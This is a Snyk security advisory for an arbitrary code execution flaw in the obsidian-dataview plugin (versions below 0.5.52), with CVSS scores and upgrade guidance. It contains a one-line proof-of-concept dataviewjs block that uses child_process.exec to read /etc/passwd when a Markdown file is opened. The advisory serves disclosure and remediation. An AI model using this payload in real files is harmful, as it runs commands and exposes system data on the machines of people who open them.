Arbitrary Code Execution Affecting obsidian-dataview package, versions <0.5.52


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.16% (53rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-OBSIDIANDATAVIEW-1912069
  • published 5 Nov 2021
  • disclosed 5 Nov 2021
  • credit Trenton Ivey

How to fix?

Upgrade obsidian-dataview to version 0.5.52 or higher.

Overview

obsidian-dataview is an Advanced data views for Obsidian.md.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The evalInContext function executes user input, which allows an attacker to craft malicious Markdown files that will execute arbitrary code once opened.

PoC

```dataviewjs
require("child_process").exec("cat /etc/passwd",(_0,stdout,_1) => dv.span(stdout));""

```

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.8 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

7.8 high